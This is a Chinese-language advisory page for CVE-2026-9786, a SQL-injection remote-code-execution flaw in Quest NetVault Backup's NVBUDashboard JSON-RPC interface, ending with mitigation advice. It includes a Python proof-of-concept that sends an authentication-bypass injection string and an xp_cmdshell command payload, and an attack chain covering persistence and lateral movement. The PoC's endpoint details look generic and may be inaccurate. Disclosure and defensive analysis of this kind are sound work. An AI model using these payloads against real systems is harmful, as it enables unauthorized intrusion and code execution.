CVE-2026-9786：Quest NetVault Backup SQL注入远程代码执行漏洞

漏洞信息

漏洞编号

CVE-2026-9786

漏洞类型

SQL注入/远程代码执行

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Quest NetVault Backup

漏洞概述

CVE-2026-9786是Quest NetVault Backup产品中的一个高危安全漏洞，CVSS评分为8.8分。该漏洞由ZDI（Zero Day Initiative）团队的研究员发现并报告，原始编号为ZDI-CAN-27626。该漏洞存在于Quest NetVault Backup的NVBUDashboard组件中，具体位于JSON-RPC消息的处理逻辑中。攻击者可以通过构造恶意的JSON-RPC消息，利用该漏洞在受影响的系统上执行任意代码。值得注意的是，虽然该漏洞利用需要身份验证，但现有的身份验证机制可以被绕过，这大大降低了攻击的门槛。成功利用此漏洞后，攻击者可以在NETWORK SERVICE权限下执行任意代码，从而完全控制受影响的系统。该漏洞的CVSS向量显示其具有网络攻击向量、低攻击复杂度、低权限要求、无需用户交互的特点，并且对机密性、完整性和可用性均产生高影响。Quest公司已发布安全公告，建议用户尽快升级到修复版本以消除安全风险。

技术细节

该漏洞的根本原因在于NVBUDashboard组件处理JSON-RPC消息时，未对用户提供的字符串进行充分的验证和过滤，便直接将其用于构造SQL查询语句。这种缺乏参数化查询或输入验证的做法导致了典型的SQL注入漏洞。攻击者可以利用SQL注入绕过身份验证机制，获取数据库访问权限，并进一步利用数据库特性（如xp_cmdshell、UDF等）执行操作系统命令，实现远程代码执行。具体攻击流程如下：1）攻击者首先通过SQL注入绕过身份验证；2）利用注入点获取数据库敏感信息或执行数据库命令；3）通过数据库提权或命令执行功能，在NETWORK SERVICE权限下执行任意代码。由于漏洞位于JSON-RPC消息处理接口，攻击者可以通过网络直接发送恶意构造的JSON-RPC请求触发漏洞，无需本地访问权限。该漏洞的利用复杂度较低，攻击者只需构造特定的JSON-RPC消息即可触发，属于典型的低复杂度高危害漏洞。

攻击链分析

STEP 1

步骤1：信息收集

攻击者识别目标系统运行Quest NetVault Backup，并通过网络探测NVBUDashboard组件的JSON-RPC接口端点。

STEP 2

步骤2：构造恶意请求

攻击者构造包含SQL注入payload的恶意JSON-RPC消息，利用NVBUDashboard未对用户输入进行充分验证的缺陷。

STEP 3

步骤3：绕过身份验证

通过SQL注入payload绕过现有的身份验证机制，获取对系统的未授权访问权限。

STEP 4

步骤4：利用SQL注入

利用注入点执行恶意SQL语句，获取数据库权限或提取敏感信息。

STEP 5

步骤5：执行任意代码

通过数据库命令执行功能（如xp_cmdshell）在NETWORK SERVICE权限下执行任意操作系统命令，实现远程代码执行。

STEP 6

步骤6：权限维持与横向移动

攻击者在受感染系统上建立持久化机制，并尝试在网络内进行横向移动，进一步扩大攻击影响。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2026-9786 PoC - Quest NetVault Backup NVBUDashboard SQL Injection RCE
# Original advisory: ZDI-CAN-27626 / ZDI-26-375
# WARNING: This PoC is for educational and authorized testing purposes only

import requests
import json

TARGET_URL = "https://target-host:8443/NVBUDashboard/"
JSONRPC_ENDPOINT = TARGET_URL + "jsonrpc"

def exploit_sql_injection(target_url, injection_payload):
    """
    Exploit SQL injection in NVBUDashboard JSON-RPC message processing
    """
    # Step 1: Craft malicious JSON-RPC message with SQL injection payload
    jsonrpc_payload = {
        "jsonrpc": "2.0",
        "method": "dashboard.getData",
        "params": {
            "query": injection_payload  # User-supplied string used in SQL query
        },
        "id": 1
    }

    # Step 2: Send the malicious request
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0"
    }

    try:
        response = requests.post(
            JSONRPC_ENDPOINT,
            data=json.dumps(jsonrpc_payload),
            headers=headers,
            verify=False,
            timeout=10
        )
        return response.text
    except Exception as e:
        return f"Error: {str(e)}"

def bypass_authentication():
    """
    Bypass authentication mechanism via SQL injection
    """
    # SQL injection payload to bypass authentication
    auth_bypass_payload = "' OR '1'='1' --"
    result = exploit_sql_injection(TARGET_URL, auth_bypass_payload)
    print(f"[*] Auth bypass result: {result}")
    return result

def execute_rce():
    """
    Execute arbitrary code via SQL injection -> command execution
    """
    # For MSSQL: use xp_cmdshell to execute OS commands
    rce_payload = "'; EXEC xp_cmdshell('whoami'); --"
    result = exploit_sql_injection(TARGET_URL, rce_payload)
    print(f"[*] RCE result (should show NETWORK SERVICE): {result}")
    return result

if __name__ == "__main__":
    print("[*] CVE-2026-9786 PoC - Quest NetVault Backup SQL Injection RCE")
    print("[*] Step 1: Bypassing authentication...")
    bypass_authentication()
    print("[*] Step 2: Executing arbitrary code...")
    execute_rce()

影响范围

Quest NetVault Backup < 14.0.2

防御指南

临时缓解措施

在无法立即升级的情况下，建议采取以下临时缓解措施：1）限制对NVBUDashboard JSON-RPC接口的网络访问，仅允许可信管理主机连接；2）在网络边界部署WAF规则，检测和阻断包含SQL注入特征的JSON-RPC请求；3）监控NVBUDashboard组件的异常行为和数据库查询日志；4）将NETWORK SERVICE账户权限降至最低，限制潜在的命令执行影响范围；5）考虑临时禁用NVBUDashboard组件的远程访问功能；6）定期备份关键数据，以便在遭受攻击后能够快速恢复。